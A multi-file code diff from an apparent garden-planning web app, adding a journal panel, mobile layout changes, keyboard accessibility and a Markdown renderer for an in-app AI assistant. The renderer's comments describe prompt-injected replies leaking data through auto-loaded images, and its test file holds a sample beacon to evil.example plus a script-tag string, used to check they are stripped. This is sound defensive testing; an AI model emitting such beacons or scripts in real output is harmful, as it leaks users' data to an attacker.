<span className="font-medium text-fg">{objectName}</span>? They're marked removed but kept in history.
</p>
<div className="flex justify-end gap-2">
<Button type="button" variant="ghost" onClick={onClose} disabled={clear.isPending}>
Cancel
</Button>
<Button
type="button"
variant="danger"
disabled={clear.isPending || n === 0}
onClick={() => clear.mutate(plops, { onSuccess: onClose })}
>
{clear.isPending ? 'Clearing' : 'Clear bed'}
</Button>
</div>
</div>
</Modal>
</ConfirmModal>
)
}
+27 -10
View File
@@ -4,9 +4,9 @@ import { cn } from '@/lib/cn'
/**
* The editor's side rail, and the answer to "four things want one rail".
*
* The inspector, history, and (later) the journal and chat panel all want the
* same strip of screen. Rather than each bolting on its own chrome, they are
* tabs in one rail — which keeps the canvas one width instead of a different
* The inspector, history, journal, and (later) the chat panel all want the same
* strip of screen. Rather than each bolting on its own chrome, they are tabs in
* one rail — which keeps the canvas one width instead of a different
* width per panel, and means adding the journal or chat is adding a tab.
*
* Two constraints shaped it:
@@ -14,11 +14,17 @@ import { cn } from '@/lib/cn'
* - Selecting an object must land you in the inspector with no extra click.
* The editor watches the selection and switches to that tab itself, so the
* rail never becomes a thing you have to operate before you can edit.
* - The canvas has to stay worth watching while the agent edits it, so the
* rail is a fixed 20rem column and closes completely when nothing needs it.
* - The canvas has to stay worth watching while the agent edits it, so the rail
* closes completely when nothing needs it.
*
* On a phone the same tabs render in a bottom sheet, which is where the
* inspector already lived.
* Layout differs by breakpoint. Desktop: a fixed 20rem column beside the canvas.
* Phone: an in-flow PEEK (#101) — a capped-height panel the editor's flex column
* places BETWEEN the canvas and the always-visible mode bar, so the canvas
* shrinks to keep the garden visible above it and the mode bar reachable below,
* rather than a bottom sheet that covered the whole garden. `tall` raises that
* cap for panel modes (journal/history/assistant), where reading and typing are
* the task and a half-height peek felt cramped; the inspector keeps the shorter
* peek so the canvas it describes stays in view.
*/
export interface RailTab {
@@ -35,11 +41,14 @@ export function EditorRail({
activeId,
onActivate,
onClose,
tall = false,
}: {
tabs: RailTab[]
activeId: string
onActivate: (id: string) => void
onClose: () => void
/** Raise the mobile peek's height cap (panel modes want the room). */
tall?: boolean
}) {
const active = tabs.find((t) => t.id === activeId) ?? tabs[0]
if (!active) return null
@@ -47,9 +56,17 @@ export function EditorRail({
return (
<div
className={cn(
// Phone: a bottom sheet over the canvas. Desktop: a column beside it.
'fixed inset-x-0 bottom-0 z-30 flex max-h-[70vh] flex-col rounded-t-xl border-t border-border bg-surface shadow-lg',
'md:static md:max-h-none md:w-80 md:shrink-0 md:rounded-xl md:border md:shadow-sm',
// Phone: an in-flow PEEK — a capped-height panel that sits between the
// canvas and the always-visible mode bar (the editor's flex column places
// it there), so the garden stays visible above it and the mode bar stays
// reachable below. The canvas flexes to fill whatever's left. Desktop: a
// fixed-width column beside the canvas (the cap doesn't apply there).
'flex min-h-0 shrink-0 flex-col rounded-t-xl border-t border-border bg-surface shadow-lg',
// dvh, not vh: the enclosing editor column is dvh-bounded, and on mobile
// Safari/Chrome vh is the *largest* viewport, so a vh cap could overrun the
// visible area and shove the mode bar off-screen (same #85 reasoning).
tall ? 'max-h-[78dvh]' : 'max-h-[50dvh]',
'md:static md:max-h-none md:w-80 md:rounded-xl md:border md:shadow-sm',
)}
>
<div className="flex items-center gap-1 border-b border-border px-2 py-1.5">
+6
View File
@@ -235,7 +235,13 @@ export function GardenCanvas({
className="h-full w-full select-none"
style={{ touchAction: 'none' }}
onPointerDown={onCanvasPointerDown}
// role="application" tells a screen reader this is an interactive canvas
// to operate, not a document to read linearly. The <title> names it, and
// objects inside are individually focusable buttons (see ObjectShape).
role="application"
aria-label={`${garden.name} — garden layout. Tab between objects; Enter selects; arrow keys nudge a selection.`}
>
<title>{garden.name} garden layout</title>
<g transform={`translate(${viewport.tx} ${viewport.ty}) scale(${viewport.scale})`}>
{drawnGridCm != null && (
<>
+1 -1
View File
@@ -116,7 +116,7 @@ function HistoryEntry({
<UndoButton
changeSet={changeSet}
undo={undo}
className="w-32 shrink-0"
className="w-32 shrink-0 text-right"
label={reverted ? 'Undo again' : 'Undo'}
/>
)}
+18
View File
@@ -31,12 +31,20 @@ export function Inspector({
gardenId,
unit,
onFocus,
onAddNote,
noteCount = 0,
readOnly = false,
}: {
object: EditorObject
gardenId: number
unit: UnitPref
onFocus?: () => void
/** Opens the journal scoped to this object. Two taps from a selected bed to
* typing is the bar; anything more and the log stays empty. */
onAddNote?: () => void
/** How many journal entries are about this object, so the log is discoverable
* from the thing it's about rather than being a panel you have to remember. */
noteCount?: number
readOnly?: boolean
}) {
const update = useUpdateObject(gardenId)
@@ -134,6 +142,16 @@ export function Inspector({
</Button>
)}
{onAddNote && (
<Button variant="ghost" onClick={onAddNote} className="w-full text-sm">
{noteCount > 0
? `📝 ${noteCount} ${noteCount === 1 ? 'note' : 'notes'}`
: readOnly
? '📝 No notes'
: '📝 Add note'}
</Button>
)}
{/* A disabled fieldset makes every control below read-only for viewers in
one shot (no per-input disabled). */}
<fieldset disabled={readOnly} className="flex min-w-0 flex-col gap-3 border-0 p-0">
+389
View File
@@ -0,0 +1,389 @@
import { useState } from 'react'
import { Alert } from '@/components/ui/Alert'
import { Button } from '@/components/ui/Button'
import { TextArea } from '@/components/ui/TextArea'
import { TextField } from '@/components/ui/TextField'
import { errorMessage } from '@/lib/api'
import {
formatObservedAt,
today,
useCreateJournalEntry,
useDeleteJournalEntry,
useJournal,
useUpdateJournalEntry,
type JournalEntry,
} from '@/lib/journal'
import type { EditorObject } from './types'
import { objectDisplayName } from './kinds'
// Shared styling for the small From/To date inputs, so the two stay in step and
// don't drift from each other.
const dateInputClass =
'rounded-md border border-border bg-surface px-1.5 py-1 text-fg outline-none focus-visible:ring-2 focus-visible:ring-accent/40'
/**
* The garden's journal: write an entry, read the season back.
*
* Notes get written standing in the garden holding a phone, usually one-handed.
* If it takes more than a couple of taps from looking at a bed to typing a
* sentence, the log stays empty — so the composer is open by default rather than
* behind an "add" button, and selecting a bed pre-scopes it to that bed.
*/
export function JournalPanel({
gardenId,
canEdit,
currentUserId,
isOwner,
objects,
scopeObjectId,
onScopeChange,
scopePlantingId,
onScopePlantingChange,
}: {
gardenId: number
canEdit: boolean
currentUserId?: number
isOwner: boolean
objects: EditorObject[]
/** Which bed the panel is filtered to, if any. */
scopeObjectId: number | null
onScopeChange: (id: number | null) => void
/** Which single plop the panel is filtered to, if any (#85). The store keeps
* this mutually exclusive with scopeObjectId. Required like its bed twin. */
scopePlantingId: number | null
onScopePlantingChange: (id: number | null) => void
}) {
// Date-range narrowing (#85): the backend and JournalFilter already supported
// from/to; they just had no UI. Empty inputs don't filter.
const [from, setFrom] = useState('')
const [to, setTo] = useState('')
const scopedObject = objects.find((o) => o.id === scopeObjectId) ?? null
// One source of scope priority — plop over bed — for both the filter and the
// composer's label, so they can't drift.
const scopeLabel = scopePlantingId != null ? 'this planting' : scopedObject ? objectDisplayName(scopedObject) : null
const filter = {
...(scopePlantingId != null
? { plantingId: scopePlantingId }
: scopeObjectId != null
? { objectId: scopeObjectId }
: {}),
...(from ? { from } : {}),
...(to ? { to } : {}),
}
const journal = useJournal(gardenId, filter)
const entries = journal.data?.pages.flatMap((p) => p.entries) ?? []
return (
<div className="flex flex-col gap-3">
<div className="flex items-center justify-between gap-2">
<h2 className="text-sm font-semibold text-fg">Journal</h2>
{objects.length > 0 && (
<select
value={scopeObjectId ?? ''}
onChange={(e) => {
const id = Number(e.target.value)
onScopeChange(e.target.value === '' || !Number.isFinite(id) ? null : id)
}}
className="max-w-[9rem] truncate rounded-md border border-border bg-surface px-1.5 py-1 text-xs text-fg outline-none focus-visible:ring-2 focus-visible:ring-accent/40"
>
<option value="">Whole garden</option>
{objects.map((o) => (
<option key={o.id} value={o.id}>
{objectDisplayName(o)}
</option>
))}
</select>
)}
</div>
{scopePlantingId != null && (
<div className="flex items-center justify-between gap-2 rounded-md bg-accent/10 px-2 py-1 text-xs">
<span className="text-accent-strong">Notes about one planting</span>
<button
type="button"
onClick={() => onScopePlantingChange(null)}
className="rounded px-1 text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40"
>
Show all
</button>
</div>
)}
<div className="flex items-center gap-2 text-xs text-muted">
<label className="flex items-center gap-1">
<span>From</span>
<input
type="date"
value={from}
max={to || undefined}
onChange={(e) => setFrom(e.target.value)}
className={dateInputClass}
/>
</label>
<label className="flex items-center gap-1">
<span>To</span>
<input
type="date"
value={to}
min={from || undefined}
onChange={(e) => setTo(e.target.value)}
className={dateInputClass}
/>
</label>
{(from || to) && (
<button
type="button"
onClick={() => {
setFrom('')
setTo('')
}}
className="rounded px-1 text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40"
>
Clear
</button>
)}
</div>
{canEdit && (
<Composer
gardenId={gardenId}
objectId={scopePlantingId != null ? null : scopeObjectId}
plantingId={scopePlantingId}
scopeLabel={scopeLabel}
/>
)}
{journal.isPending && <p className="text-sm text-muted">Loading</p>}
{journal.isError && entries.length === 0 && (
<Alert>{errorMessage(journal.error, 'Could not load the journal.')}</Alert>
)}
{journal.isSuccess && entries.length === 0 && (
<p className="text-sm text-muted">
{scopePlantingId != null
? 'Nothing written about this planting yet.'
: scopedObject
? `Nothing written about ${objectDisplayName(scopedObject)} yet.`
: 'Nothing written yet. This is where what happened goes — when something went in, what came up, what the frost got. Next year you get to read it back.'}
</p>
)}
<ol className="flex flex-col gap-2">
{entries.map((e) => (
<Entry
key={e.id}
entry={e}
gardenId={gardenId}
objects={objects}
canDelete={canEdit && (e.authorId === currentUserId || isOwner)}
canRewrite={canEdit && e.authorId === currentUserId}
/>
))}
</ol>
{journal.hasNextPage && (
<Button
variant="ghost"
className="text-sm"
disabled={journal.isFetchingNextPage}
onClick={() => void journal.fetchNextPage()}
>
{journal.isFetchingNextPage ? 'Loading…' : 'Load older'}
</Button>
)}
{journal.isError && entries.length > 0 && (
<p className="text-xs text-red-700 dark:text-red-400">
{errorMessage(journal.error, "Couldn't load older entries.")}
</p>
)}
</div>
)
}
function Composer({
gardenId,
objectId,
plantingId = null,
scopeLabel,
}: {
gardenId: number
objectId: number | null
/** When set, the note attaches to this plop rather than a bed (#85). */
plantingId?: number | null
scopeLabel: string | null
}) {
const create = useCreateJournalEntry(gardenId)
const [body, setBody] = useState('')
// Editable so an observation can be backdated: you write up Saturday on Sunday.
const [observedAt, setObservedAt] = useState(today())
const [error, setError] = useState<string | null>(null)
const submit = () => {
const text = body.trim()
if (!text) return
setError(null)
create.mutate(
{ body: text, observedAt, objectId: objectId ?? undefined, plantingId: plantingId ?? undefined },
{
onSuccess: () => {
setBody('')
setObservedAt(today())
},
onError: (err) => setError(errorMessage(err, "Couldn't save that note.")),
},
)
}
return (
<div className="flex flex-col gap-2 rounded-lg border border-border p-2">
<TextArea
label={scopeLabel ? `Note about ${scopeLabel}` : 'Note'}
name="journalBody"
rows={3}
placeholder="What happened?"
value={body}
onChange={(e) => setBody(e.target.value)}
/>
<div className="flex items-end gap-2">
<div className="flex-1">
<TextField
label="Observed"
name="observedAt"
type="date"
value={observedAt}
onChange={(e) => setObservedAt(e.target.value)}
/>
</div>
<Button className="shrink-0" disabled={create.isPending || body.trim() === ''} onClick={submit}>
{create.isPending ? 'Saving…' : 'Save note'}
</Button>
</div>
{error && <p className="text-xs text-red-700 dark:text-red-400">{error}</p>}
</div>
)
}
function Entry({
entry,
gardenId,
objects,
canDelete,
canRewrite,
}: {
entry: JournalEntry
gardenId: number
objects: EditorObject[]
/** May remove it: the author, or the garden owner. */
canDelete: boolean
/** May rewrite the text: the author only — rewriting someone else's
* observation under their name is a different act from removing it. */
canRewrite: boolean
}) {
const update = useUpdateJournalEntry(gardenId)
const del = useDeleteJournalEntry(gardenId)
const [editing, setEditing] = useState(false)
const [draft, setDraft] = useState(entry.body)
const [error, setError] = useState<string | null>(null)
const about = objects.find((o) => o.id === entry.objectId) ?? null
// Re-sync the draft when the entry changes underneath — a refetch after
// someone else's edit, or this entry's own successful save. Skipped while
// editing so a background refetch can't clobber what's being typed; the
// version guard is what catches a genuine collision.
const [syncedBody, setSyncedBody] = useState(entry.body)
if (!editing && entry.body !== syncedBody) {
setSyncedBody(entry.body)
setDraft(entry.body)
}
const save = () => {
const text = draft.trim()
if (!text) {
// Silence here reads as a broken button; say why nothing happened.
setError('An entry needs some text. Delete it instead if that\'s what you meant.')
return
}
setError(null)
update.mutate(
{ id: entry.id, version: entry.version, body: text },
{
onSuccess: () => {
setEditing(false)
setError(null)
},
onError: (err) => setError(errorMessage(err, "Couldn't save that edit.")),
},
)
}
return (
<li className="rounded-lg border border-border px-2.5 py-2 text-sm">
{editing ? (
<div className="flex flex-col gap-2">
<TextArea label="Note" name={`entry-${entry.id}`} rows={3} value={draft} onChange={(e) => setDraft(e.target.value)} />
<div className="flex justify-end gap-1">
<Button
variant="ghost"
className="px-2 py-1 text-xs"
onClick={() => {
setDraft(entry.body)
setEditing(false)
setError(null)
}}
>
Cancel
</Button>
<Button className="px-2 py-1 text-xs" disabled={update.isPending} onClick={save}>
{update.isPending ? 'Saving…' : 'Save'}
</Button>
</div>
</div>
) : (
<p className="whitespace-pre-wrap text-fg">{entry.body}</p>
)}
<p className="mt-1 flex flex-wrap items-center gap-x-1.5 gap-y-1 text-xs text-muted">
<time dateTime={entry.observedAt}>{formatObservedAt(entry.observedAt)}</time>
<span aria-hidden>·</span>
<span>{entry.authorName}</span>
{about && (
<>
<span aria-hidden>·</span>
<span className="rounded bg-border/60 px-1 py-px">{objectDisplayName(about)}</span>
</>
)}
{entry.plantingId != null && <span className="rounded bg-border/60 px-1 py-px">planting</span>}
</p>
{(canRewrite || canDelete) && !editing && (
<div className="mt-1 flex justify-end gap-1">
{canRewrite && (
<button
type="button"
onClick={() => setEditing(true)}
className="rounded px-1.5 py-0.5 text-xs text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40"
>
Edit
</button>
)}
{canDelete && (
<button
type="button"
disabled={del.isPending}
onClick={() => {
setError(null) // clear a previous failure so a retry isn't read as another
del.mutate(entry.id, {
onError: (err) => setError(errorMessage(err, "Couldn't delete that note.")),
})
}}
className="rounded px-1.5 py-0.5 text-xs text-red-700 outline-none hover:underline focus-visible:ring-2 focus-visible:ring-accent/40 dark:text-red-400"
>
Delete
</button>
)}
</div>
)}
{error && <p className="mt-1 text-xs text-red-700 dark:text-red-400">{error}</p>}
</li>
)
}
+60
View File
@@ -0,0 +1,60 @@
import { describe, expect, it } from 'vitest'
import { renderToStaticMarkup } from 'react-dom/server'
import { MarkdownMessage } from './MarkdownMessage'
// renderToStaticMarkup needs no DOM, so this runs in the default (node) env and
// proves the assistant's Markdown — GFM tables in particular — actually renders.
function render(md: string): string {
return renderToStaticMarkup(<MarkdownMessage>{md}</MarkdownMessage>)
}
describe('MarkdownMessage', () => {
it('renders a GFM table with styled cells', () => {
const html = render('| Bed | Plant |\n| --- | --- |\n| North | Garlic |')
expect(html).toContain('<table')
expect(html).toContain('border-collapse')
expect(html).toContain('<th')
expect(html).toContain('<td')
expect(html).toContain('Garlic')
// Wide tables scroll inside their own box rather than blowing out the bubble.
expect(html).toContain('overflow-x-auto')
})
it('renders inline formatting and lists', () => {
const html = render('**bold** and *italic*\n\n- one\n- two')
expect(html).toContain('<strong')
expect(html).toContain('<em')
expect(html).toContain('<ul')
expect(html).toContain('<li')
})
it('does not emit raw HTML from the model (no rehype-raw)', () => {
const html = render('Hi <script>alert(1)</script> <b>x</b>')
expect(html).not.toContain('<script>')
expect(html).not.toContain('<b>x</b>') // the literal tag is escaped, not rendered
})
it('opens links safely in a new tab', () => {
const html = render('[seeds](https://example.com)')
expect(html).toContain('href="https://example.com"')
expect(html).toContain('rel="noopener noreferrer"')
})
it('does not render images (no auto-loading exfiltration beacon)', () => {
// A prompt-injected reply could embed `![](https://evil/?leak=…)`; the browser
// would auto-fetch it, leaking that the message was viewed (and anything smuggled
// into the URL). We forbid <img> entirely, so the beacon never fires.
const html = render('before ![pixel](https://evil.example/leak?data=secret) after')
expect(html).not.toContain('<img')
expect(html).not.toContain('evil.example')
// Surrounding prose still renders.
expect(html).toContain('before')
expect(html).toContain('after')
})
it('honours GFM column alignment', () => {
const html = render('| L | C | R |\n| :-- | :--: | --: |\n| a | b | c |')
expect(html).toContain('text-align:center')
expect(html).toContain('text-align:right')
})
})
+109
View File
@@ -0,0 +1,109 @@
import { memo, type ReactNode } from 'react'
import ReactMarkdown, { type Components } from 'react-markdown'
import remarkGfm from 'remark-gfm'
// Hoisted so they're not re-created every render (which would defeat both React's
// and ReactMarkdown's memoization).
const remarkPlugins = [remarkGfm]
const CODE_BLOCK = /language-/
// The assistant's replies are never trusted markup: their content can be steered
// by anything the agent read (a shared garden's notes, a seed vendor page). So we
// render Markdown but NOT raw HTML (no rehype-raw), and — belt to that — forbid
// <img>, whose auto-loading `src` is a prompt-injection exfiltration beacon
// (`![](https://evil/?leak=…)`); the assistant has no reason to emit images.
const disallowedElements = ['img']
// Tailwind's reset strips default list/table styling, so every element the
// assistant actually uses is restyled here, scaled for a chat bubble. Wide
// content (tables, code) scrolls in its own box so the bubble never blows out.
const bigHeading = ({ children }: { children?: ReactNode }) => (
<h4 className="mb-1 mt-2 text-sm font-semibold first:mt-0">{children}</h4>
)
const smallHeading = ({ children }: { children?: ReactNode }) => (
<h5 className="mb-1 mt-1.5 text-xs font-semibold uppercase tracking-wide text-muted first:mt-0">
{children}
</h5>
)
const components: Components = {
p: ({ children }) => <p className="my-1.5 first:mt-0 last:mb-0">{children}</p>,
a: ({ href, children }) => (
<a
href={href}
target="_blank"
rel="noopener noreferrer"
className="text-accent-strong underline underline-offset-2"
>
{children}
</a>
),
ul: ({ children }) => <ul className="my-1.5 list-disc pl-5">{children}</ul>,
ol: ({ children, start }) => (
<ol start={start} className="my-1.5 list-decimal pl-5">
{children}
</ol>
),
li: ({ children }) => <li className="my-0.5">{children}</li>,
strong: ({ children }) => <strong className="font-semibold">{children}</strong>,
em: ({ children }) => <em className="italic">{children}</em>,
h1: bigHeading,
h2: bigHeading,
h3: bigHeading,
h4: smallHeading,
h5: smallHeading,
h6: smallHeading,
blockquote: ({ children }) => (
<blockquote className="my-1.5 border-l-2 border-border pl-2 text-muted">{children}</blockquote>
),
hr: () => <hr className="my-2 border-border" />,
code: ({ className, children }) => {
// A fenced block is wrapped by <pre> (styled below) and carries either a
// language- class or a trailing newline; inline code is a single-line bare
// <code> and gets the pill treatment. (The newline check catches fences with
// no info-string, which have no language- class.)
const isBlock = CODE_BLOCK.test(className ?? '') || String(children).includes('\n')
if (isBlock) return <code className={className}>{children}</code>
return (
<code className="rounded bg-border/60 px-1 py-0.5 font-mono text-[0.85em]">{children}</code>
)
},
pre: ({ children }) => (
<pre className="my-1.5 overflow-x-auto rounded-md bg-border/40 p-2 font-mono text-xs">
{children}
</pre>
),
table: ({ children }) => (
<div className="my-1.5 overflow-x-auto">
<table className="w-full border-collapse text-xs">{children}</table>
</div>
),
// Pass `style` through: GFM column alignment (`:---:` / `---:`) arrives as
// style.textAlign, and dropping it would silently discard it.
th: ({ children, style }) => (
<th style={style} className="border border-border px-2 py-1 font-semibold">
{children}
</th>
),
td: ({ children, style }) => (
<td style={style} className="border border-border px-2 py-1 align-top">
{children}
</td>
),
}
/** Render one assistant message body as Markdown (GFM). Memoized so typing in the
* composer doesn't re-parse every message in the thread. */
export const MarkdownMessage = memo(function MarkdownMessage({ children }: { children: string }) {
return (
<div className="leading-relaxed">
<ReactMarkdown
remarkPlugins={remarkPlugins}
disallowedElements={disallowedElements}
components={components}
>
{children}
</ReactMarkdown>
</div>
)
})
+42 -2
View File
@@ -1,5 +1,6 @@
import { memo, type PointerEvent } from 'react'
import { memo, type KeyboardEvent, type PointerEvent } from 'react'
import { objectTransform } from './shared'
import { kindDef, objectDisplayName } from './kinds'
import type { EditorObject } from './types'
const DEFAULT_FILL = '#8a8a8a'
@@ -57,11 +58,50 @@ export const ObjectShape = memo(function ObjectShape({
onSelect(object.id)
}
// Keyboard path into selection (#84): the arrow-key nudge handler already
// exists but only ever acted on a pointer selection, so it was unreachable
// without a mouse. Enter/Space on a focused object selects it, which is the
// step that was missing.
function handleKey(e: KeyboardEvent) {
if (e.key === 'Enter' || e.key === ' ') {
e.preventDefault()
e.stopPropagation()
onSelect(object.id)
}
}
const stroke = selected ? '#2f7a3e' : '#00000033'
const strokeWidth = selected ? 2 : 1
// A concise accessible name: the object's label plus its kind's canonical
// label, e.g. "North Bed, In-ground" — reusing kindDef so it never diverges
// from what the UI shows (an ad-hoc kind.replace() gave "in ground"). The
// dimensions aren't included; they need the garden's unit context this
// component doesn't hold, so they're a follow-up.
const kindLabel = kindDef(object.kind)?.label ?? object.kind
const label = `${objectDisplayName(object)}, ${kindLabel}`
// Keyboard focus needs to be VISIBLE — that's the point of making the canvas
// keyboard-reachable. The `object-shape` class carries a :focus-visible rule
// (styles/index.css) that draws a dashed ring; :focus-visible means it shows
// for keyboard focus but NOT a mouse click, which is exactly what we want. CSS
// rather than React state because onFocus on an SVG <g> is unreliable and a
// presentation attribute is overridden by any CSS rule.
return (
<g transform={objectTransform(object)} onPointerDown={handleDown} style={{ cursor: 'pointer' }}>
<g
className="object-shape"
transform={objectTransform(object)}
onPointerDown={handleDown}
onKeyDown={handleKey}
role="button"
tabIndex={0}
aria-label={label}
// aria-current, not aria-pressed: selecting an object isn't a toggle (a
// toggle is what aria-pressed means). aria-current marks it as the active
// item among the objects. Omitted, not "false", when unselected.
aria-current={selected || undefined}
style={{ cursor: 'pointer' }}
>
{object.shape === 'circle' ? (
<ellipse
cx={0}
+12
View File
@@ -25,6 +25,7 @@ export function PlopInspector({
unit,
onChangePlant,
onClose,
onAddNote,
readOnly = false,
}: {
plop: EditorPlanting
@@ -33,6 +34,11 @@ export function PlopInspector({
unit: UnitPref
onChangePlant: () => void
onClose: () => void
/** Scope the journal to this plop and open it — the plop parallel of the bed
* inspector's "add note" (#85). Offered to viewers too (to READ the plop's
* notes, like the bed inspector does); the journal's composer is separately
* gated on edit rights, so a viewer just sees the entries. */
onAddNote?: () => void
readOnly?: boolean
}) {
const update = useUpdatePlanting(gardenId)
@@ -172,6 +178,12 @@ export function PlopInspector({
/>
</fieldset>
{onAddNote && (
<Button variant="ghost" className="justify-start px-2 py-1 text-sm" onClick={onAddNote}>
📓 {readOnly ? 'Notes about this plant' : 'Add a note about this plant'}
</Button>
)}
{!readOnly && (
<Button
variant="ghost"
+29
View File
@@ -0,0 +1,29 @@
import { PlantChip } from '@/components/plants/PlantChip'
import type { Plant } from '@/lib/plants'
/**
* A quick strip of the plants you've most recently planted IN THIS GARDEN (#100),
* so re-placing "more of the same" is one tap instead of a trip through the
* catalog or the manual tray. Derived from actual plantings (see
* recentlyPlantedIds), newest first; renders nothing until something's planted.
* Tap a chip to arm it for placement (the armed one is highlighted).
*/
export function RecentPlants({
plants,
armedPlantId,
onArm,
}: {
plants: Plant[]
armedPlantId: number | null
onArm: (plant: Plant) => void
}) {
if (plants.length === 0) return null
return (
<div className="flex items-center gap-1.5 overflow-x-auto">
<span className="shrink-0 text-[0.7rem] font-medium uppercase tracking-wide text-muted">Recent</span>
{plants.map((p) => (
<PlantChip key={p.id} plant={p} active={p.id === armedPlantId} onArm={onArm} />
))}
</div>
)
}
+10 -19
View File
@@ -1,5 +1,5 @@
import { cn } from '@/lib/cn'
import { PlantIcon } from '@/components/plants/PlantIcon'
import { PlantChip } from '@/components/plants/PlantChip'
import type { Plant } from '@/lib/plants'
/**
@@ -26,28 +26,19 @@ export function SeedTray({
{trayPlants.map((p) => {
const active = p.id === armedPlantId
return (
<span
key={p.id}
className={cn(
'inline-flex items-center rounded-full border text-xs transition-colors',
active ? 'border-accent bg-accent/10 text-accent-strong' : 'border-border bg-surface text-fg',
)}
>
<button
type="button"
onClick={() => onArm(p)}
aria-pressed={active}
title={active ? `Placing ${p.name}` : `Place ${p.name}`}
className="flex items-center gap-1.5 rounded-full py-1 pl-1.5 pr-1 outline-none focus-visible:ring-2 focus-visible:ring-accent/40"
>
<PlantIcon color={p.color} icon={p.icon} className="h-5 w-5 rounded-full text-[0.65rem]" />
<span className="max-w-[6rem] truncate font-medium">{p.name}</span>
</button>
<span key={p.id} className="inline-flex items-center">
{/* Flat right edge so the remove button below seams into one pill. */}
<PlantChip plant={p} active={active} onArm={onArm} rounded={false} />
<button
type="button"
onClick={() => onRemove(p.id)}
aria-label={`Remove ${p.name} from tray`}
className="rounded-full px-1.5 py-1 text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40"
className={cn(
'rounded-r-full border border-l-0 px-1.5 py-1 text-xs outline-none transition-colors focus-visible:ring-2 focus-visible:ring-accent/40',
active
? 'border-accent bg-accent/10 text-accent-strong hover:text-fg'
: 'border-border bg-surface text-muted hover:text-fg',
)}
>
</button>
+7 -3
View File
@@ -1,6 +1,6 @@
import { Button } from '@/components/ui/Button'
import { cn } from '@/lib/cn'
import type { ChangeSet, UndoOutcome, useUndo } from '@/lib/history'
import type { UndoOutcome, UndoTarget, useUndo } from '@/lib/history'
/**
* Undo, plus what happened. Paired with useUndo so the history list and the
@@ -14,7 +14,7 @@ export function UndoButton({
className,
label = 'Undo',
}: {
changeSet: ChangeSet
changeSet: UndoTarget
undo: ReturnType<typeof useUndo>
className?: string
label?: string
@@ -43,8 +43,12 @@ const TONE_CLASS: Record<Exclude<UndoOutcome['tone'], 'pending'>, string> = {
function OutcomeNote({ outcome }: { outcome: UndoOutcome }) {
if (outcome.tone === 'pending') return null
// No text alignment of its own: the container decides. The history list stacks
// this to the right of an entry, the chat panel puts it under a left-aligned
// message, and a hard-coded text-right made the chat's copy read against its
// own column.
return (
<p role="status" className={cn('text-right text-xs', TONE_CLASS[outcome.tone])}>
<p role="status" className={cn('text-xs', TONE_CLASS[outcome.tone])}>
{outcome.message}
</p>
)
+11 -1
View File
@@ -3,7 +3,17 @@
// one place instead of drifting between files.
export const SELECT_COLOR = '#2f7a3e' // selection stroke/handles
export const HANDLE_PX = 12 // on-screen size of a drag/resize handle
// Whether the primary pointer is a fingertip rather than a mouse — the one signal
// the touch affordances key off (bigger handles here, the on-screen nudge pad in
// the editor), so they can't disagree about what "touch" means. Read once at
// load; a device doesn't switch its primary pointer mid-session, and the optional
// chain keeps it false (mouse defaults) under test / SSR where matchMedia is absent.
export const isCoarsePointer =
typeof window !== 'undefined' && !!window.matchMedia?.('(pointer: coarse)').matches
// On-screen size of a drag/resize handle. Bigger on touch so a fingertip can
// actually grab a resize corner or the rotate knob — 12px is fine for a mouse but
// frustrating for a thumb (#104).
export const HANDLE_PX = isCoarsePointer ? 22 : 12
export const MIN_RADIUS_CM = 1 // smallest plop radius
export const DIMMED_OPACITY = 0.4 // non-focused objects/plops in focus mode
+40
View File
@@ -11,10 +11,25 @@ import type { EditorObject } from './types'
export const MIN_SCALE = 0.05 // px per cm — fully zoomed out
export const MAX_SCALE = 20 // px per cm — fully zoomed in
// The editor's one primary activity (#99). On mobile this is the segmented
// control at the bottom of the screen; it decides which tools dock there —
// placing fixtures, placing plants, the journal, or the assistant — so the four
// activities stop competing for the same cramped strip. Desktop keeps its
// side-column layout and treats this as a lighter hint.
export type EditorMode = 'fixtures' | 'plants' | 'journal' | 'assistant'
// Where the editor starts, and where it returns on a garden switch.
export const DEFAULT_MODE: EditorMode = 'fixtures'
interface EditorState {
viewport: Viewport
setViewport: (next: Viewport | ((prev: Viewport) => Viewport)) => void
// The primary editor mode (mobile mode bar). Ephemeral — which tool you were
// last using is not a property of the garden.
mode: EditorMode
setMode: (mode: EditorMode) => void
// The selected object OR plop (mutually exclusive; selecting one clears the
// other). selectedId is a garden object; selectedPlantingId is a plop.
selectedId: number | null
@@ -38,6 +53,18 @@ interface EditorState {
seasonYear: number | null
setSeasonYear: (year: number | null) => void
// Which bed the journal tab is filtered to, or null for the whole garden.
// Separate from selectedId deliberately: you can scope the journal to a bed
// and then select something else without the list moving under you.
journalObjectId: number | null
setJournalObjectId: (id: number | null) => void
// Which single plop the journal is filtered to, if any — the parallel of
// journalObjectId for a planting (#85). The two scopes are mutually exclusive
// (the setters clear each other), so the journal filter is never ambiguous.
journalPlantingId: number | null
setJournalPlantingId: (id: number | null) => void
// The plant armed for placing plops (set after the PlantPicker choice); stays
// armed for repeat-placement until cleared (Escape / done). null = not placing.
armedPlant: Plant | null
@@ -76,6 +103,9 @@ export const useEditorStore = create<EditorState>((set) => ({
viewport: { tx: 0, ty: 0, scale: 1 },
setViewport: (next) => set((s) => ({ viewport: typeof next === 'function' ? next(s.viewport) : next })),
mode: DEFAULT_MODE,
setMode: (mode) => set({ mode }),
selectedId: null,
select: (id) => set({ selectedId: id, selectedPlantingId: null }),
@@ -91,6 +121,13 @@ export const useEditorStore = create<EditorState>((set) => ({
seasonYear: null,
setSeasonYear: (year) => set({ seasonYear: year }),
journalObjectId: null,
// Scoping to a bed clears any plop scope, so only one is ever active.
setJournalObjectId: (id) => set({ journalObjectId: id, journalPlantingId: null }),
journalPlantingId: null,
setJournalPlantingId: (id) => set({ journalPlantingId: id, journalObjectId: null }),
armedPlant: null,
armedLotId: null,
setArmedPlant: (p, lotId = null) => set({ armedPlant: p, armedLotId: p ? lotId : null }),
@@ -119,5 +156,8 @@ export const useEditorStore = create<EditorState>((set) => ({
livePlanting: null,
railTab: null,
seasonYear: null,
journalObjectId: null,
journalPlantingId: null,
mode: DEFAULT_MODE,
}),
}))
+29
View File
@@ -0,0 +1,29 @@
import { describe, expect, it } from 'vitest'
import { describeStep } from './agent'
describe('describeStep', () => {
// Raw tool names tell you the agent is busy; these tell you what it's busy
// DOING, which is the difference between the panel feeling alive and hung.
